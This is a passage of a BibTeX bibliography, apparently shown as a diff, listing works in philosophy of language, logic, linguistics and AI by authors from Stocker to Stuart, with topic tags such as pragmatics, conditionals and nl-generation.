43--70 + 3. Roberto Casati and Achille C. Varzi, "Spatial Entities", pp. 73--96 + 4. Anthony G. Cohn and Brandon Bennett and John Gooday and + Nicholas M. Gotts, "Representing and Reasoning with + Qualitative Spatial Relations", pp. 97--134 + 5. Andrew U. Frank, "Spatial Ontology", pp. 135--153 + 6. Annette Herskovits, "Language, Spatial Cognition, and + Vision", pp. 155--202 + 7. James F. Allen and George Ferguson, "Actions and Events in + Interval Temporal Logic", pp. 203--245 + 8. Drew McDermott, "Probabilistic Projection in + Planning", pp. 247--287 + 9. Erik Sandewall, "Underlying Semantics for Action and Change + with Ramification", pp. 289--318 + 10. Anthony Galton, "Space, Time, and Movement", pp. 321--352 + } , + ISBN = {0792346440 (paper)}, + topic = {spatial-reasoning;temporal-reasoning;} + } + +@incollection{ stocker:1986a, + author = {Michael Stocker}, + title = {Akrasia and the Object of Desire}, + booktitle = {The Ways of Desire: New Essays in Philosophical + Psychology on the Concept of Wanting}, + publisher = {Precedent Publishing, Inc.}, + year = {1986}, + editor = {Joel Marks}, + pages = {197--215}, + address = {Chicago}, + topic = {akrasia;desire;} + } + +@article{ stockman:1979a, + author = {G.C. Stockman}, + title = {A Minimax Algorithm Better Than Alpha-Beta?}, + journal = {Artificial Intelligence}, + year = {1979}, + volume = {12}, + number = {2}, + pages = {179--196}, + topic = {search;} + } + +@inproceedings{ stockmeyer-meyer:1973a, + author = {L.J. Stockmeyer and A.R. Meyer}, + title = {Word Problems Requiring Exponential Time}, + booktitle = {Proceedings of the Fifth Annual {ACM} Symposium on + Theory of Computing}, + year = {1973}, + organization = {ACM}, + missinginfo = {A's 1st name, publisher, address, pages}, + topic = {complexity;} + } + +@book{ stogdill:1970a, + editor = {Ralph M. Stogdill}, + title = {The Process Of Model-Building In The Behavioral Sciences}, + publisher = {Ohio State University Press}, + year = {1970}, + address = {COlumbus, Ohio}, + topic = {behavioral-science-methodology;} + } + +@article{ stoicke-etal:2000a, + author = {Andreas Stoicke and Klaus Ries and Noah Coccaro + and Elizabeth Shriberg and Rebecca Bates and Daniel + Jurafsky and Paul Taylor and Rachel Martin and + Carol Van Ess-Dykema and Marie Meteer}, + title = {Dialogue Act Modeling for Automatic Tagging and + Recognition of Conversational Speech}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {3}, + pages = {339--373}, + topic = {speech-acts;computational-dialogue;statistical-nlp; + speech-recognition;} + } + +@incollection{ stojanovic:2001a, + author = {Isodora Stojanovic}, + title = {Whom is the Problem of the Essential Indexical a Problem + for?}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {304--315}, + address = {Berlin}, + topic = {context;indexicality;philosophy-of-language;} + } + +@book{ stokhof-torenvliet:1990a, + editor = {Martin Stokhof and Leen Torenvliet}, + title = {Proceedings of the Seventh {A}msterdam {C}olloquium}, + publisher = {Institute for Language, Logic and Information, + Universiteit van Amsterdam}, + year = {1990}, + address = {Amsterdam}, + ISBN = {9061962137}, + topic = {nl-semantics;pragmatics;} + } + +@article{ stolboushkin:2000a, + author = {Alexei P. Stolboushkin}, + title = {Review of {\it On Finite Rigid Structures}, by + {Y}uri {G}urevich and {S}haranon {S}helah}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {3}, + pages = {353--355}, + xref = {Review of gurevich-shelah:1996a.}, + topic = {finite-models;} + } + +@article{ stolcke:1995a, + author = {Andreas Stolcke}, + title = {An Efficient Context-Free Parsing Algorithm that Computes + Prefix Probabilities}, + journal = {Computational Linguistics}, + year = {1995}, + volume = {21}, + number = {2}, + pages = {165--201}, + topic = {parsing-algorithms;} + } + +@article{ stolcke:1998a, + author = {Andreas Stolcke}, + title = {Linguistic Knowledge and Empirical Methods in Speech + Recognition}, + journal = {The {AI} Magazine}, + year = {1998}, + volume = {18}, + number = {4}, + pages = {25--31}, + topic = {speech-recognition;machine-learning;} + } + +@article{ stoljar:2000a, + author = {Daniel Stoljar}, + title = {Physicalism and the Necessary A Priori}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {1}, + pages = {33--54}, + topic = {mind-body-problem;} + } + +@incollection{ stolzenburg-etal:1997a, + author = {Frieder Stolzenburg and Stephan Ho"hne and Ulrich + Koch and Martin Volk}, + title = {Constraint Logic Programming for + Computational Linguistics}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {406--425}, + address = {Berlin}, + topic = {logic-and-computational-linguistics;constraint-programming;} + } + +@incollection{ stolzenburg-thomas:1998a, + author = {F. Stolzenburg and B. Thomas}, + title = {Analyzing Rule Sets for the + Calculation of Banking Fees by a Theorem Prover with + Constraints}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {III}, Applications}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@book{ stone_g:1980a, + author = {Gerald Stone}, + title = {An Introduction to {P}olish}, + publisher = {Oxford University Press}, + year = {1980}, + address = {Oxford}, + ISBN = {0198158025}, + topic = {Polish-language;reference-grammars;} + } + +@article{ stone_jd:1976a, + author = {John David Stone}, + title = {A Formalization of {G}each's Antinomy}, + journal = {Analysis}, + year = {1976}, + volume = {36}, + pages = {203--207}, + topic = {semantic-paradoxes;} + } + +@article{ stone_jd:1981a, + author = {John David Stone}, + title = {Meaninglessness and Paradox: Some Remarks on + {G}oldstein's Paper}, + journal = {Linguistics and Philosophy}, + year = {1981}, + volume = {4}, + number = {3}, + pages = {423--429}, + xref = {Comments on goldstein_l:1980a. For discussion, see + goldstein_l:1981a.}, + topic = {semantic-paradoxes;truth-value-gaps;} + } + +@inproceedings{ stone_m:1992a, + author = {Matthew Stone}, + title = {\,`Or' and Anaphora}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {II}}, + editor = {Chris Barker and David Dowty}, + publisher = {Ohio State University}, + address = {Columbus}, + year = {1992}, + missinginfo = {pages}, + topic = {disjunction;anaphora;} + } + +@inproceedings{ stone_m:1997a, + author = {Matthew Stone}, + title = {Applying Theories of Communicative Action in Generation + Using Logic Programming}, + booktitle = {Working Notes: {AAAI} Fall Symposium on Communicative + Action in Humans and Machines}, + year = {1997}, + pages = {134--135}, + organization = {{AAAI}}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + editor = {David Traum}, + topic = {speech-acts;pragmatics;nl-generation;logic-programming;} + } + +@inproceedings{ stone_m-doran:1997a, + author = {Matthew Stone and Christine Doran}, + title = {Sentence Planning as Description Using Tree Adjoining + Grammar}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {198--205}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {nl-generation;TAG-grammar;} + } + +@phdthesis{ stone_m:1998a, + author = {Matthew Stone}, + title = {Modality in Dialogue: Planning, Pragmatics and + Computation}, + school = {Computer Science Department, University of Pennsylvania}, + year = {1998}, + type = {Ph.{D}. Dissertation}, + address = {Philadelphia, Pennsylvania}, + topic = {modal-logic;theorem-proving;planning;epistemic-logic; + nl-generation;} + } + +@incollection{ stone_m-webber:1998a, + author = {Matthew Stone and Bonnie Webber}, + title = {Textual Economy through Close Coupling of Syntax and + Semantics}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {178--187}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;sentence-planning;} + } + +@unpublished{ stone_m:2001a, + author = {Matthew Stone and Christine Doran and Bonnie Webber + and Tonia Bleam and Martha Palmer}, + title = {Microplanning with Communicative Intentions: The {SPUD} + System}, + year = {2001}, + note = {Available at http://arXiv.org/archive/CS.}, + topic = {nl-generation;sentence-planning;} + } + +@incollection{ stone_m-thomason_rh:2002a, + author = {Matthew Stone and Richmond H. Thomason}, + title = {Context in Abductive Interpretation}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {169--176}, + address = {Edinburgh}, + topic = {context;nl-interpretation;abduction;} + } + +@article{ stone_p-veloso:1999a, + author = {Peter Stone and Manuela Veloso}, + title = {Task Decomposition, Dynamic Role Assignment, and + Low-Bandwidth Communication for Real-Time Strategic + Teamwork}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {110}, + number = {2}, + pages = {241--273}, + topic = {multiagent-systems;cooperation;RoboCup;} + } + +@article{ stone_p-etal:2000a, + author = {Peter Stone and Manuela Veloso and Patrick Riley}, + title = {{\sc Cmunited}-98 Simulator Team}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {1}, + pages = {20--28}, + topic = {robotics;RoboCup;} + } + +@article{ stone_p-etal:2000b, + author = {Peter Stone and Patrick Riley and Manuela Veloso}, + title = {The {CMU}nited-99 Champion Simulator Team}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {3}, + pages = {33--40}, + topic = {RoboCup;robotics;} + } + +@incollection{ stone_t-davies_m:1995a, + author = {Tony Stone and Martin Davies}, + title = {Introduction}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {1--18}, + address = {Oxford}, + topic = {folk-psychology;theory-theory-of-folk-psychology; + mental-simulation-theory-of-folk-psychology; + propositional-attitude-ascription;} + } + +@incollection{ stonebraker:1984a, + author = {Michael Stonebraker}, + title = {Adding Semantic Knowledge to a Relational Database System}, + booktitle = {On Conceptual Modelling: Perspectives from Artificial + Intelligence, Databases and Programming Languages}, + publisher = {Springer-Verlag}, + year = {1984}, + editor = {Michael L. Brodie and John Mylopoulos and Joachim W. Schmidt}, + pages = {333--356}, + address = {Berlin}, + topic = {databases;data-models;abstract-data-types;} + } + +@book{ stork:1997a, + editor = {David G. Stork}, + title = {Hal's Legacy: 2001's Computer as Dream and Reality}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + topic = {social-impact-of-computation;popular-cs;} + } + +@article{ storr:2001a, + author = {Hans-Peter St\"orr}, + title = {Planning in the Fluent Calculus Using Binary Decision + Diagrams}, + journal = {The {AI} Magazine}, + year = {2001}, + volume = {22}, + number = {1}, + pages = {103--105}, + topic = {planning;planning-algorithms;planning-systems;} + } + +@book{ stout:1996a, + author = {Rowland Stout}, + title = {Things That Happen Because They Should: A Teleological + Approach to Action}, + publisher = {Oxford University Press}, + year = {1996}, + address = {Oxford}, + topic = {philosophy-of-action;} + } + +@book{ stoy:1979a, + author = {Joseph E. Stoy}, + title = {Denotational Semantics: The {S}cott-{S}trachey + Approach to Programming Language Theory}, + publisher = {The {MIT} Press}, + year = {1979}, + address = {Cambridge, Massachusetts}, + topic = {denotational-semantics;semantics-of-programming-languages;} + } + +@incollection{ stoyan:1991a, + author = {Herbert Stoyan}, + title = {The Influence of the Designer on the + Design---{J}.{M}c{C}arthy and {LISP}}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {409--426}, + address = {San Diego}, + topic = {McCarthy;LISP;} + } + +@article{ straach-truemper:1999a, + author = {Janell Straach and and Klaus Truemper}, + title = {Learning to Ask Relevant Questions}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {111}, + number = {1--2}, + pages = {301--327}, + topic = {expert-systems;HCI;machine-learning;logic-programming;} + } + +@inproceedings{ straccia:1993a, + author = {Umberto Straccia}, + title = {Default Inheritance in Hybrid {\sc KL-One}-Style + Languages}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {676--681}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {inheritance-theory;extensions-of-kl1;taxonomic-logics;} + } + +@article{ strahm:2002a, + author = {Thomas Strahm}, + title = {Review of `How is it that Infinitary Methods Can be Applied to + Finitary Mathematics? G\"odel's $T$: A Case Study', by + {A}ndreas {W}eiermann}, + journal = {The Bulletin of Symbolic Logic}, + year = {2002}, + volume = {8}, + number = {3}, + pages = {435--436}, + xref = {Review of: weiermann:1998a}, + topic = {recursion-theory;infinitary-logic;proof-theory;} + } + +@book{ strauss-corbin:1998a, + author = {Anselm Strauss and Juliet Corbin}, + title = {Basics of Qualitative Research}, + publisher = {Sage Publications}, + year = {1998}, + edition = {2}, + address = {Thousand Oaks, California}, + topic = {qualitative-methods;} + } + +@book{ strawson_g:1986a, + author = {Galen Strawson}, + title = {Freedom and Belief}, + publisher = {Oxford}, + year = {1986}, + address = {Oxford, England}, + topic = {freedom;volition;} + } + +@article{ strawson_pf:1949a, + author = {Peter F. Strawson}, + title = {Ethical Intuitionism}, + journal = {Philosophy}, + year = {1949}, + volume = {36}, + pages = {23--33}, + xref = {Republication: sellars-hospers:1952a.}, + topic = {ethics;} + } + +@article{ strawson_pf:1950a1, + author = {Peter F. Strawson}, + title = {On Referring}, + journal = {Mind}, + year = {1950}, + volume = {59}, + pages = {320--344}, + missinginfo = {number}, + xref = {Republications: strawson_pf:1950a2,strawson_pf:1950a3.}, + topic = {definite-descriptions;presupposition;pragmatics;} + } + +@incollection{ strawson_pf:1950a2, + author = {Peter F. Strawson}, + title = {On Referring}, + booktitle = {Essays in Conceptual Analysis}, + publisher = {Macmillam}, + year = {1960}, + editor = {Antony Flew}, + pages = {21--52}, + address = {London}, + xref = {Republication of: strawson_pf:1950a1.}, + topic = {definite-descriptions;presupposition;pragmatics;} + } + +@incollection{ strawson_pf:1950a3, + author = {Peter F. Strawson}, + title = {On Referring}, + booktitle = {Logico-Linguistic Papers}, + publisher = {Methuen}, + year = {1971}, + editor = {Peter F. Strawson}, + pages = {1--27}, + address = {London}, + xref = {Republication of: strawson_pf:1950a1.}, + topic = {definite-descriptions;presupposition;pragmatics;} + } + +@article{ strawson_pf:1950b1, + author = {Peter F. Strawson}, + title = {Truth}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1950}, + volume = {24}, + pages = {129--156}, + note = {Supplementary Volume.}, + xref = {Republication: strawson_pf:1950b2.}, + topic = {truth;} + } + +@incollection{ strawson_pf:1950b2, + author = {Peter F. Strawson}, + title = {Truth}, + booktitle = {Logico-Linguistic Papers}, + publisher = {Methuen}, + year = {1971}, + editor = {Peter F. Strawson}, + pages = {190--213}, + address = {London}, + xref = {Republication of: strawson_pf:1950a2.}, + topic = {truth;} + } + +@book{ strawson_pf:1952a, + author = {Peter F. Strawson}, + title = {Introduction to Logical Theory}, + publisher = {Methuen}, + year = {1952}, + address = {London}, + topic = {philosophy-of-logic;} + } + +@incollection{ strawson_pf:1953a2, + author = {Peter F. Strawson}, + title = {Particular and General}, + booktitle = {Logico-Linguistic Papers}, + publisher = {Methuen}, + year = {1971}, + editor = {Peter F. Strawson}, + pages = {28--52}, + address = {London}, + xref = {Republication of: strawson_pf:1953a1.}, + topic = {particular/universal;metaphysics;} + } + +@article{ strawson_pf:1954a, + author = {Peter F. Strawson}, + title = {A Reply to Mr. Sellars}, + journal = {The Philosophical Review}, + year = {1954}, + volume = {216--231}, + pages = {216--231}, + missinginfo = {number}, + topic = {presupposition;pragmatics;} + } + +@book{ strawson_pf:1959a, + author = {Peter F. Strawson}, + title = {Individuals: An Essay in Descriptive Metaphysics}, + publisher = {Methuen}, + year = {1959}, + address = {London}, + xref = {Commentary: moravcsik:1965a.}, + topic = {philosophical-ontology;individuation;} + } + +@article{ strawson_pf:1961a1, + author = {Peter F. Strawson}, + title = {Singular Terms and Predication}, + journal = {The Journal of Philosophy}, + year = {1961}, + volume = {43}, + number = {15}, + pages = {393--412}, + xref = {Republication: strawson_pf:1961a2.}, + topic = {predication;particular/universal;} + } + +@article{ strawson_pf:1964a1, + author = {Peter F. Strawson}, + title = {Intention and Convention in Speech Acts}, + journal = {The Philosophical Review}, + year = {1964}, + volume = {59}, + pages = {439--460}, + missinginfo = {number}, + xref = {Republication: strawson_pf:1964a2.}, + topic = {speech-acts;speaker-meaning;pragmatics;} + } + +@incollection{ strawson_pf:1964a2, + author = {Peter F. Strawson}, + title = {Intention and Convention in Speech Acts}, + booktitle = {Logico-Linguistic Papers}, + publisher = {Methuen}, + year = {1971}, + editor = {Peter F. Strawson}, + pages = {149--169}, + address = {London}, + xref = {Republication of: strawson_pf:1964a1.}, + topic = {speech-acts;speaker-meaning;pragmatics;} + } + +@article{ strawson_pf:1964b1, + author = {Peter F. Strawson}, + title = {Identifying Reference and Truth-Values}, + journal = {Theoria}, + year = {1964}, + volume = {30}, + pages = {96--118}, + xref = {Republication: strawson_pf:1964b2, strawson_pf:1964b3.}, + topic = {reference;definite-descriptions;philosophy-of-language;} + } + +@incollection{ strawson_pf:1964b2, + author = {Peter F. Strawson}, + title = {Identifying Reference and Truth-Values}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {86--99}, + address = {Cambridge, England}, + xref = {Republication of: strawson:1964a1.}, + topic = {reference;definite-descriptions;} + } + +@incollection{ strawson_pf:1964b3, + author = {Peter F. Strawson}, + title = {Identifying Reference and Truth-Values}, + booktitle = {Logico-Linguistic Papers}, + publisher = {Methuen}, + year = {1971}, + editor = {Peter F. Strawson}, + pages = {75--95}, + address = {London}, + xref = {Republication of: strawson_pf:1964b1.}, + topic = {reference;definite-descriptions;philosophy-of-language;} + } + +@article{ strawson_pf:1965a, + author = {Peter Strawson}, + title = {Truth: A Reconsideration of {A}ustin's Views}, + journal = {Philosophical Quarterly}, + year = {1965}, + volume = {15}, + pages = {289--301}, + missinginfo = {number}, + topic = {truth;propositional-attitudes;truth-bearers;JL-Austin;} + } + +@incollection{ strawson_pf:1965a2, + author = {Peter F. Strawson}, + title = {Truth: A Reconsideration of {A}ustin's Views}, + booktitle = {Logico-Linguistic Papers}, + publisher = {Methuen}, + year = {1971}, + editor = {Peter F. Strawson}, + pages = {234--249}, + address = {London}, + xref = {Republication of: strawson_pf:1965a1.}, + topic = {JL-Austin;truth;} + } + +@article{ strawson_pf:1969a1, + author = {Peter F. Strawson}, + title = {Grammar and Philosophy}, + journal = {Proceedings of the {A}ristotelian Society, New Series}, + year = {1969--70}, + volume = {70}, + pages = {1--20}, + xref = {Republication: strawson_pf:1953a2.}, + topic = {philosophy-of-linguistics;philosophy-and-linguistics;} + } + +@incollection{ strawson_pf:1969a2, + author = {Peter F. Strawson}, + title = {Grammar and Philosophy}, + booktitle = {Logico-Linguistic Papers}, + publisher = {Methuen}, + year = {1971}, + editor = {Peter F. Strawson}, + pages = {130--148}, + address = {London}, + xref = {Republication of: strawson_pf:1969a1.}, + topic = {philosophy-of-linguistics;philosophy-and-linguistics;} + } + +@book{ strawson_pf:1971a, + author = {Peter F. Strawson}, + title = {Logico-Linguistic Papers}, + publisher = {Methuen}, + year = {1971}, + address = {London}, + ISBN = {0416090109}, + contentnote = {TC: + 1. "On Referring", pp. 1--27 + 2. "Particular and General", pp. 28--52 + 3. "Singular Terms and Predication", pp. 53--74 + 4. "Identifying Reference and Truth-Values", pp. 75--95 + 5. "The Asymmetry of Subjects and Predicates", pp. 96--115 + 6. "Propositions, Concepts, and Logical Truths", pp. 116--129 + 7. "Grammar and Philosophy", pp. 130--148 + 8. "Intention and Convention in Speech Acts", pp. 149--169 + 9. "Meaning and Truth", pp. 170--189 + 10. "Truth", pp. 190--213 + 11. "A Problem about Truth", pp. 214--233 + 12. "Truth: A Reconsideration of {A}ustin's Views", pp. 234--249 + } , + topic = {analytic-philosophy;philosophy-of-language;} + } + +@incollection{ strawson_pf:1971b, + author = {Peter Strawson}, + title = {Meaning and Truth}, + booktitle = {Logico-Linguistic Papers}, + publisher = {Methuen}, + address = {London}, + year = {1971}, + editor = {Peter Strawson}, + missinginfo = {pages}, + topic = {philosophy-of-language;foundations-of-semantics;truth;} + } + +@incollection{ strawson_pf:1972a, + author = {Peter F. Strawson}, + title = {Grammar and Philosophy}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {455--472}, + address = {Dordrecht}, + topic = {philosophy-of-linguistics;foundations-of-syntax;} + } + +@incollection{ strawson_pf:1973a, + author = {Peter F. Strawson}, + title = {Austin and `Locutionary Meaning'\, } , + booktitle = {Essays on J.L. Austin}, + publisher = {Oxford University Press}, + year = {1973}, + editor = {Isiah Berlin et al.}, + pages = {46--68}, + address = {Oxford}, + topic = {JL-Austin;ordinary-language-philosophy;speech-acts;pragmatics;} + } + +@incollection{ strawson_pf:1976a, + author = {Peter F. Strawson}, + title = {On Understanding the Structure of One's + Language}, + booktitle = {Truth and Meaning: Essays in Semantics}, + publisher = {Oxford University Press}, + year = {1976}, + editor = {Gareth Evans and John Mc{D}owell}, + pages = {162--188}, + address = {Oxford}, + topic = {adverbs;foundations-of-semantics;} + } + +@incollection{ strawson_pf:1979a, + author = {Peter F. Strawson}, + title = {May Bes and Might Have Beens}, + booktitle = {Meaning and Use: Papers Presented at the Second + {J}erusalem Philosophy Encounter}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + editor = {Avishai Margalit}, + pages = {229--238}, + address = {Dordrecht}, + topic = {conditionals;} + } + +@incollection{ strawson_pf:1986a, + author = {Peter F. Strawson}, + title = {`{I}f' and `$\supset$'}, + booktitle = {Philosophical Grounds of Rationality}, + publisher = {Oxford University Press}, + year = {1986}, + editor = {Richard E. Grandy and Richard Warner}, + pages = {228--242}, + address = {Oxford}, + topic = {philosophy-of-language;philosophy-of-logic;conditionals;Grice;} + } + +@article{ strawson_pf:1990a, + author = {Peter Strawson}, + title = {Review of {\it Studies in the Way of Words}, by + {P}aul {G}rice}, + journal = {Synth\'ese}, + year = {1990}, + volume = {84}, + number = {1}, + pages = {153--161}, + topic = {Grice;implicature;pragmatics;} + } + +@incollection{ strawson_pf:1997a, + author = {Peter Strawson}, + title = {Meaning and Context}, + booktitle = {Entity and Identity (and Other Languages)}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {Peter Strawson}, + pages = {216--231}, + address = {Oxford}, + topic = {context;philosophy-of-language;} + } + +@book{ strazolkowski:1994a, + editor = {Tomek Strazolkowski}, + title = {Reversible Grammar in Natural Language Processing}, + publisher = {Kluwer Academic Publishers}, + year = {1994}, + address = {Dordrecht}, + topic = {grammar-formalisms;nl-processing;} + } + +@incollection{ strecker-etal:1998a, + author = {M. Strecker et al.}, + title = {Interactive and Automated Construction in Type Theory}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {II}, Systems and Implementation Techniques}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@article{ strevens:2000a, + author = {Michael Strevens}, + title = {Do Large Probabilities Explain Better?}, + journal = {Philosophy of Science}, + year = {2000}, + volume = {67}, + number = {3}, + pages = {366--390}, + topic = {probability;explanation;} + } + +@inproceedings{ strigin:1995a, + author = {Anatol Strigin}, + title = {Abductive Inference During Update: The {G}erman + Preposition {\em mit}}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {V}}, + year = {1995}, + editor = {Mandy Simons and Teresa Galloway}, + pages = {310--327}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;dynamic-semantics;abduction;German-language;} + } + +@article{ strobach:1998a, + author = {Niko Strobach}, + title = {Logik f\"ur die {S}eeschlacht--Mogliche {S}pielzuge}, + journal = {Zeitschrift fur philosophische {F}orschung}, + year = {1998}, + volume = {52}, + number = {1}, + pages = {105--119}, + acontentnote = {Abstract: A combined temporal and modal logic (CTML) + may be more plausible than tense logic with branching time for + dealing with the problem of future contingents, known since + Aristotle as the problem of the future sea-battle. Depending on + the position one takes with regard to future contingents one may + choose between several alternative semantics for CTML: a + two-valued one with strong F-operator (for future tense), a + two-valued one with weak F and a three-valued one with strong F. + Their relations with a weak and strong correspondence conception + of truth are discussed as well as the way in which each of them + avoids determinism, concluding that a weak F-operator in a + two-valued system in combination with a weak conception of truth + is systematically the most attractive option. } , + topic = {Aristotle;future-contingent-propositions;} + } + +@article{ stroik:1999a, + author = {Thomas Stroik}, + title = {Middles and Reflexivity}, + journal = {Linguistic Inquiry}, + year = {1999}, + volume = {30}, + number = {1}, + pages = {119--131}, + topic = {argument-structure;middle-constructions; + reflexive-constructions;} + } + +@incollection{ stroll:1986a, + author = {Avrun Stroll}, + title = {Seeing Surfaces}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {379--398}, + address = {Minneapolis}, + topic = {perception;epistemology;} + } + +@article{ stroll:1998a, + author = {Avrum Stroll}, + title = {Proper Names, Names, and Fictive Objects}, + journal = {Journal of Philosophy}, + year = {1998}, + volume = {95}, + number = {10}, + pages = {522--534}, + topic = {reference-gaps;semantics-of-proper-names;} + } + +@article{ strom-darden:1996a, + author = {John D. Strom and Lindley Darden}, + title = {Is Artificial Intelligence a Degenerating Program? + A Review of {H}ubert {D}reyfus' {\it What Computers Still + Can't Do} } , + journal = {Artificial Intelligence}, + year = {1996}, + volume = {80}, + number = {1}, + pages = {151--170}, + xref = {Review of dreyfus:1992a.}, + topic = {philosophy-AI;} + } + +@article{ stroud:1991a, + author = {Barry Stroud}, + title = {Hume's Skepticism: Natural Instincts and Philosophical + Reflection}, + journal = {Philosophical Topics}, + year = {1991}, + volume = {19}, + number = {1}, + pages = {271--291}, + topic = {skepticism;Hume;} + } + +@article{ stroup:1968a, + author = {Timothy Stroup}, + title = {Austin on `Ifs'\, } , + journal = {Mind}, + year = {1968}, + volume = {77}, + number = {305}, + pages = {104--108}, + xref = {Commentary: williams_cjf:1971a, stroup:1974a.}, + topic = {conditionals;JL-Austin;} + } + +@article{ stroup:1974a, + author = {Timothy Stroup}, + title = {\,`Ifs' Again}, + journal = {Mind}, + year = {1974}, + volume = {83}, + number = {329}, + pages = {111}, + xref = {Reply to williams_cjf:1971a, commentary on stroup:1968a.}, + topic = {conditionals;JL-Austin;} + } + +@inproceedings{ strube-hahn_u:1996a, + author = {Michael Strube and Udo Hahn}, + title = {Functional Centering}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {270--277}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {anaphora;discourse;centering;anaphora-resolution;pragmatics;} + } + +@article{ strube-hahn_u:1999a, + author = {Michael Strube and Udo Hahn}, + title = {Functional Centering---Grounding Referential + Coherence in Information Structure}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {25}, + number = {3}, + pages = {309--344}, + topic = {anaphora-resolution;discourse-referents;} + } + +@book{ strzalkowski:1994a, + editor = {Tomek Strzalkowski}, + title = {Reversible Grammar in Natural Language Processing}, + publisher = {Kluwer Acadmic Publishers}, + year = {1994}, + address = {Boston}, + ISBN = {079239416X}, + xref = {Review: pulman:1995a.}, + topic = {reversible-grammar;nl-processing;} + } + +@book{ strzalkowski:1999a, + editor = {Tomek Strzalkowski}, + title = {Natural Language Information Retrieval}, + publisher = {Kluwer Academic Publishers}, + year = {1999}, + address = {Dordrecht}, + ISBN = {0-7923-5685-3}, + contentnote = {TC: + 1. K.S. Jones, "What is the Role of NLP in Text Retrieval?" + 2. C. Jacquemin, E. Tzoukermann, "NLP for Term Variant + Extraction: Synergy Between Morphology, Lexicon, and Syntax" + 3. G. Ruge, "Combining Corpus Linguistics and Human Memory + Models for Automatic Term Association" + 4. A.F. Smeaton, "Using NLP or NLP Resources for Information + Retrieval Tasks" + 5. T. Strzalkowski, et al, "Evaluating Natural Language + Processing Techniques in Information Retrieval" + 6. J. Karlgren and E. Riloff and J. Lorenzen. "Stylistic + Experiments in Information Retrieval. + Extraction-Based Text Categorization: Generating + Domain-Specific Role Relationships Automatically" + 8. Y. Wilks, R. Gaizauskas, and J. Zhou, "Lasie Jumps the Gat. + Phrasal Terms in Real-World IR Applications" + 10. P. Thompson, C. Dozier, "Name Recognition and Retrieval + Performance" + 11. J. Cowie, "Collage: An NLP Toolset to Support Boolean + Retrieval" + 12. L. Guthrie, et al, "Document Classification and Routing" + 13. J. Kupiec, "Murax: Finding and Organizing Answers from Text + Search" + 14. M. Hearst, "The Use of Categories and Clusters for Organizing + Retrieval Results" + }, + ISBN = {079235685-3}, + xref = {Review: corstenoliver:2000a.}, + topic = {information-retrieval;nl-processing;computational-linguistics;} + } + +@incollection{ stuart_cj:1986a, + author = {Christopher J. Stuart}, + title = {Branching 